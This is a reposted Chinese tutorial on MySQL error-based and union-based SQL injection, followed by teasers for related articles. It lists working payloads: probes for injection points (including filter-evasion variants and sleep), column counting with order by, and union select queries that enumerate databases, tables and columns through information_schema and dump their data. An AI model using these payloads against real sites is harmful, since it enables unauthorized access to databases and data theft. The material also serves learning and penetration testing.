mysql显错注入,SQL注入：显错注入

SQL注入的本质

就是把用户输入的数据当做代码执行

注入条件

1.用户能控制输入

2.能够将程序原本执行的代码，拼接上用户输入的数据进行执行

例：

http://www.xxx.com/new.php?id=1

http://www.xxx.com/new.php?id=2-1

注入的基本流程

1.判断是否存在注入点

1.最古老的方法：

? and 1=1 页面正常

? and 1=2 页面不正常

? 注：and 1=1 and 1=2 被拦截的可能性太高了

? 可以尝试 and -1=-1 and -1=-2或者直接 or sleep(5)

2.最简单的方法：

? 页面后面加‘,看是否报错

3.常用的方法：

? 如果是数字型传参，可以尝试-1

2.猜解字段数

order by 字段数 //显示报错则字段数为前面一个值

3.联合查询找出注入点

and 1=2 union select 1，2，3，…… //可以将字段都写上去

4.爆库、表、字段

查用户权限：union select 1,user(),3

查库：union select 1,database(),3

查表：union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =‘库名‘),3

查字段：union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘库名‘ and table_name = ‘表名‘),3

5.查询我们需要的数据

查数据：union select 1,(select group_concat(字段1,字段2) from 库名.表名),3

注入常用函数：

group_concat(字段1,字段2) //返回由属于一组的列值连接组合而成的结果

ASCII(char) //返回字符的ASCII码值

DATABASE() //返回当前数据库名

USER()或SYSTEM_USER() //返回当前登陆用户名

VERSION() //返回MySQL服务器的版本

SLEEP(n) //休眠n秒

原文：https://www.cnblogs.com/yanlzy/p/11884291.html

mysql显错注入,SQL注入：显错注入相关推荐

Mysql导入zabbix的sql语句时报错：ERROR 1045 (28000)
#Warning: Using a password on the command line interface can be insecure. #ERROR 1045 (28000): Acces ...
mysql 用source导入sql脚本报错ASCII appeared in the statement, but this is not allowed unless op
解决方式: 用cmd打开而不是powershell 用记事本打开sql脚本,另存为,同时把编码方式改为UTF-8即可
SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用
Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...
基于GET报错的sql注入,sqli-lab 1~4
根据注入类型可将sql注入分为两类:数字型和字符型例如: 数字型: sleect * from table where if =用户输入id 字符型:select * from table wher ...
报错型sql注入原理分析
0x00:前言关于sql注入,经久不衰,现在的网站一般对sql注入的防护也相对加强了,2016年的***测试报告中,出现最多的是xss(跨站脚本***)和明文传输等,但是对sql注入的利用方式,也相 ...
SQL注入攻击(SQL注入(SQLi)攻击)-报错注入
页面没有显示位 , 但有数据库的报错信息时 , 可使用报错注入报错注入是最常用的注入方式 , 也是使用起来最方便(我觉得)的一种注入方式 updatexml(1,'~',3); 第二个参数包含特殊字 ...
sql注入 1-1_基于报错的注入
sql注入 1-1_ 基于报错注入 1.判断是否存在报错注入通过 id =1 可以看到服务器返回正常页面通过 id=1 and 1=1 通过 id=1 and 1=2 服务器也返回正常通过 id ...
mysql注入原理_Mysql报错注入原理分析
报错类型Duplicate entry报错:多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. Xpath报错:从mysql5.1.5开始提供两个XML查询和修改的函数,语法错误导 ...
帆软报表，报错：sql注入攻击问题
帆软报表,报错:sql注入攻击问题: 解决办法:去数据决策系统-安全管理-SQL注入-关掉禁用特殊关键字选项,如下图所示
SQL注入之floor报错注入
SQL注入之floor报错注入原理一.count()函数.group by 二.floor()函数三.rand()函数四.报错初体验五.报错注入 1.获取当前数据库 2.获取当前用户六.靶 ...

mysql显错注入,SQL注入：显错注入

mysql显错注入,SQL注入：显错注入相关推荐

最新文章

热门文章